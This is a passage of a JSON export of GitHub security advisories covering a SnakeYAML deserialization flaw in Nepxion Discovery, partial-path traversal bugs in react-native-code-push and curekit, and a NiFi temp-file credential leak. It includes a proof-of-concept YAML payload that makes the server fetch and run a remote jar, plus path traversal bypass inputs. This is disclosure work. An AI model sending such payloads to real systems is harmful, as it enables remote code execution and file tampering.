\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L49-L49)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L181-L181)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L183-L183)\r\n
    private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L69-L69)\r\n
\r\n       @Override\r\n       public String createVersionRelease(String group, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L70-L70)\r\n
    @Override\r\n       public String createVersionRelease(String group, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return createVersionRelease(group, conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n#### Proof of Concept\r\n\r\nSend the following payload to `http://127.0.0.1:9628/strategy/deparse-version-release-yaml`.\r\n\r\n```yaml\r\n!!com.nepxion.discovery.common.entity.ConditionStrategy:\r\n service: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8080/yaml-payload.jar\"]]]]\r\n blueGreen:\r\n gray:\r\n header:\r\n sort:\r\n```\r\n\r\nThis will cause discovery to download the jar hosted at `http://localhost:8080` (generated using [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload)) and attempt to service load an instance of the `javax.script.ScriptEngineFactory`.\r\n\r\n----------------------------------------\r\n\r\n### Patches\r\n_Has the problem been patched? What versions should users upgrade to?_\r\n\r\n### Workarounds\r\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\r\n\r\n### References\r\n - https://github.com/mbechler/marshalsec/tree/master", "severity": "critical", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-22cq-8f5q-p5g2", "type": "GHSA" }, { "value": "CVE-2022-1471", "type": "CVE" } ], "state": "published", "created_at": "2022-12-12T18:16:25Z", "updated_at": "2023-02-02T19:48:29Z", "published_at": "2023-02-02T19:48:29Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.nepxion:discovery-common" }, "vulnerable_version_range": "< 6.20.0", "patched_versions": "6.20.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "score": 10.0 }, "cwes": [ { "cwe_id": "CWE-20", "name": "Improper Input Validation" }, { "cwe_id": "CWE-77", "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')" }, { "cwe_id": "CWE-502", "name": "Deserialization of Untrusted Data" } ], "cwe_ids": [ "CWE-20", "CWE-77", "CWE-502" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" }, { "login": "jorgectf", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" }, { "user": { "login": "jorgectf", "id": 46056498, "node_id": "MDQ6VXNlcjQ2MDU2NDk4", "avatar_url": "https://avatars.githubusercontent.com/u/46056498?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jorgectf", "html_url": "https://github.com/jorgectf", "followers_url": "https://api.github.com/users/jorgectf/followers", "following_url": "https://api.github.com/users/jorgectf/following{/other_user}", "gists_url": "https://api.github.com/users/jorgectf/gists{/gist_id}", "starred_url": "https://api.github.com/users/jorgectf/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jorgectf/subscriptions", "organizations_url": "https://api.github.com/users/jorgectf/orgs", "repos_url": "https://api.github.com/users/jorgectf/repos", "events_url": "https://api.github.com/users/jorgectf/events{/privacy}", "received_events_url": "https://api.github.com/users/jorgectf/received_events", "type": "User", "site_admin": true }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7hfp-mpq6-2jhf", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7hfp-mpq6-2jhf", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7hfp-mpq6-2jhf", "summary": "Improper Limitation of a Pathname to a Restricted Directory ('Partial-Path Traversal') during unzip in react-native-code-push", "description": "### Impact\r\n\r\nPartial-path traversal vulnerability allows zip files downloaded as a part of the `com.microsoft.codepush.react.CodePushNativeModule#downloadUpdate` to write their contents out of the intended desintination directory `/unzipped`.\r\n\r\nThis bug can lead to two potential issues:\r\n - Arbitrarily written files to sibling directories of the `/unzipped` directories like `/unzipped-private`\r\n - DOS of the host system by filling the disk space of the drive as these files written outside the `/unzipped` directories will never be cleaned up.\r\n\r\nThe `downloadUpdate` method, although written in Java, is exposed as a react-native method, and is invoked from Javascript code.\r\n\r\n#### Vulnerability Root Cause\r\n\r\nThe `com.microsoft.codepush.react.FileUtils#unzipFile` contains a partial-path traversal vulnerability in the logic used to unzip a zip file. This is due to the `com.microsoft.codepush.react.FileUtils#validateFileName` method containing an insufficient guard against partial-path traversal vulnerabilities.\r\n\r\n ```java\r\n private static String validateFileName(String fileName, File destinationFolder) throws IOException {\r\n String destinationFolderCanonicalPath = destinationFolder.getCanonicalPath();\r\n\r\n File file = new File(destinationFolderCanonicalPath, fileName);\r\n String canonicalPath = file.getCanonicalPath();\r\n\r\n if (!canonicalPath.startsWith(destinationFolderCanonicalPath)) {\r\n throw new IllegalStateException(\"File is outside extraction target directory.\");\r\n }\r\n\r\n return canonicalPath;\r\n }\r\n ```\r\n\\- https://github.com/microsoft/react-native-code-push/blob/f72751fbc044e8348bda82c52b784d29952e06dd/android/app/src/main/java/com/microsoft/codepush/react/FileUtils.java#L126-L137\r\n\r\nThe application controls the `destinationFolder` argument, which will always be a directory ending in `/unzipped`, but the `fileName` comes from the untrusted Zip file. The above bit of logic can be bypassed with the following payloads:\r\n\r\n```java\r\n// The following will return the string \"[SOME PARENT PATH]/unzipped-private/foo-bar\"\r\nvalidateFileName(\"/../unzipped-private/foo-bar\", new File(\"[SOME PARENT PATH]/unzipped\"))\r\n```\r\n\r\n#### True Root cause\r\n\r\n> If the result of `parent.getCanonicalPath()` is not slash terminated it allows for partial path traversal.\r\n>\r\n> Consider `\"/usr/outnot\".startsWith(\"/usr/out\")`. The check is bypassed although `outnot` is not under the `out` directory.\r\nThe terminating slash may be removed in various places. On Linux `println(new File(\"/var/\"))` returns `/var`, but `println(new File(\"/var\", \"/\"))` - `/var/`, however `println(new File(\"/var\", \"/\").getCanonicalPath())` - `/var`.\r\n> \\- [@JarLob (Jaroslav Lobačevski)](https://github.com/JarLob)\r\n\r\n### Patches\r\n\r\nNone\r\n\r\n### Workarounds\r\n\r\nNone\r\n\r\n### References\r\n\r\nSimilar vulnerabilities:\r\n - ESAPI (The OWASP Enterprise Security API) - https://nvd.nist.gov/vuln/detail/CVE-2022-23457\r\n\r\n### Response from Microsoft\r\n\r\n> VULN-066991 CRM:0765000224\r\n>\r\n> Hello,\r\n>\r\n> Thank you for contacting the Microsoft Security Response Center (MSRC). We appreciate the time taken to submit this assessment.\r\n> \r\n> Upon investigation, we have determined that this submission does not meet the definition of a security vulnerability for servicing. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering. \r\n> \r\n> As such, this thread is being closed and no longer monitored. We apologize for any inconvenience this may have caused.\r\n> \r\n> If you believe this determination to be in error, submit a new report at https://aka.ms/secure-at\r\n> \r\n> Please include:\r\n> \r\n> Relevant information previously provided in your initial report\r\n> Detailed steps required to consistently reproduce the issue\r\n> Short explanation on how an attacker could use the information to exploit another user remotely\r\n> Proof-of-concept (POC), such as a video recording, crash reports, screenshots, or relevant code samples\r\n> \r\n> More information on reporting a security vulnerability can be found at [https://www.microsoft.com/msrc/faqs-report-an-issue](https://www.microsoft.com/en-us/msrc/faqs-report-an-issue?rtc=1).\r\n> \r\n> Regards,\r\n> \r\n> Ali \r\n> MSRC\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7hfp-mpq6-2jhf", "type": "GHSA" } ], "state": "published", "created_at": "2022-05-13T16:50:01Z", "updated_at": "2022-05-16T21:45:15Z", "published_at": "2022-05-16T21:45:15Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "npm", "name": "react-native-code-push" }, "vulnerable_version_range": "<=v7.0.4", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "score": 8.1 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-hfmw-fx2m-jj4c", "cve_id": "CVE-2022-23082", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-hfmw-fx2m-jj4c", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-hfmw-fx2m-jj4c", "summary": "Improper Limitation of a Pathname to a Restricted Directory ('Partial Path Traversal') in io.whitesource:curekit", "description": "### Impact\r\n\r\n`io.whitesource.cure.FileSecurityUtils.isFileOutsideDir(String filePath, String baseDirPath)` incorrectly treats sibling of a root directory (`baseDirPath`) as inside the root directory. As such, `isFileOutsideDir` is an insufficient guard against partial-path traversal attacks.\r\n\r\n#### Vulnerability Root Cause\r\n\r\n```java\r\n public static boolean isFileOutsideDir(\r\n @NonNull final String filePath, @NonNull final String baseDirPath) throws IOException {\r\n File file = new File(filePath);\r\n File baseDir = new File(baseDirPath);\r\n return !file.getCanonicalPath().startsWith(baseDir.getCanonicalPath());\r\n }\r\n```\r\n\\- https://github.com/whitesource/CureKit/blob/d6ac3c382cb9d0b7a9f164eb3db1811d51f47c7c/src/main/java/io/whitesource/cure/FileSecurityUtils.java#L14-L26\r\n\r\nThe above bit of logic can be bypassed with the following payloads:\r\n```java\r\n// The following will return 'false', although the attacker controlled value `/usr/foo/../foo-bar/bar` will be outside the `/usr/foo` directory\r\nisFileOutsideDir(\"/usr/foo/../foo-bar/bar\", \"/usr/foo\")\r\n```\r\n\r\n#### True Root cause\r\n\r\n> If the result of `parent.getCanonicalPath()` is not slash terminated it allows for partial path traversal.\r\n>\r\n> Consider `\"/usr/outnot\".startsWith(\"/usr/out\")`. The check is bypassed although `outnot` is not under the `out` directory.\r\nThe terminating slash may be removed in various places. On Linux `println(new File(\"/var/\"))` returns `/var`, but `println(new File(\"/var\", \"/\"))` - `/var/`, however `println(new File(\"/var\", \"/\").getCanonicalPath())` - `/var`.\r\n> \\- [@JarLob (Jaroslav Lobačevski)](https://github.com/JarLob)\r\n\r\n### References\r\n\r\nSimilar vulnerabilities:\r\n - ESAPI (The OWASP Enterprise Security API) - https://nvd.nist.gov/vuln/detail/CVE-2022-23457", "severity": "critical", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-hfmw-fx2m-jj4c", "type": "GHSA" }, { "value": "CVE-2022-23082", "type": "CVE" } ], "state": "published", "created_at": "2022-05-11T17:06:09Z", "updated_at": "2023-02-27T19:41:51Z", "published_at": "2023-02-27T19:41:51Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "io.whitesource:curekit" }, "vulnerable_version_range": ">= 1.0.1, < 1.1.4", "patched_versions": "1.1.4", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "score": 9.8 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-rvp4-r3g6-8hxq", "cve_id": "CVE-2022-26850", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-rvp4-r3g6-8hxq", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-rvp4-r3g6-8hxq", "summary": "Insufficiently Protected Credentials via Insecure Temporary File in org.apache.nifi:nifi-single-user-utils", "description": "### Impact\r\n\r\n`org.apache.nifi.authentication.single.user.writer.StandardLoginCredentialsWriter` contains a local information disclosure vulnerability due to writing credentials (username and password) to a file that is readable by all other users on unix-like systems. On unix-like systems, the system's temporary directory is shared between all users on that system. As such, files written to that directory without setting the correct file permissions can allow other users on that system to view the contents of the files written to those temporary files.\r\n\r\n### Source\r\n\r\nAn insecure temporary file is created here:\r\n - https://github.com/apache/nifi/blob/6a1c7c72d5b91b9ce5d5cb5b86e3155d21e2c19b/nifi-commons/nifi-single-user-utils/src/main/java/org/apache/nifi/authentication/single/user/writer/StandardLoginCredentialsWriter.java#L75\r\n\r\nThe username and password credentials are written to this file here:\r\n - https://github.com/apache/nifi/blob/6a1c7c72d5b91b9ce5d5cb5b86e3155d21e2c19b/nifi-commons/nifi-single-user-utils/src/main/java/org/apache/nifi/authentication/single/user/writer/StandardLoginCredentialsWriter.java#L85-L95\r\n\r\n### Patches\r\n\r\nThe vulnerability has been patched in version `1.16`.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n\r\n### References\r\n\r\n - https://issues.apache.org/jira/browse/NIFI-9785\r\n - https://github.com/apache/nifi/commit/859d5fe\r\n - https://github.com/apache/nifi/pull/5856\r\n - https://nifi.apache.org/security.html#CVE-2022-26850\r\n - https://twitter.com/JLLeitschuh/status/1511736635645435904?s=20&t=I3w3zF6Y2DUvWYsEFqERjg", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-rvp4-r3g6-8hxq", "type": "GHSA" }, { "value": "CVE-2022-26850", "type": "CVE" } ], "state": "published", "created_at": "2022-03-09T19:15:43Z", "updated_at": "2022-04-06T16:37:48Z", "published_at": "2022-04-06T15:53:54Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.apache.nifi:nifi-single-user-utils" }, "vulnerable_version_range": "<= 1.15.3", "patched_versions": "1.16", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "score": 6.5 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" }, { "cwe_id": "CWE-522", "name": "Insufficiently Protected Credentials" } ], "cwe_ids": [ "CWE-377", "CWE-522" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-cm59-pr5q-cw85", "cve_id": "CVE-2022-27772", "url": 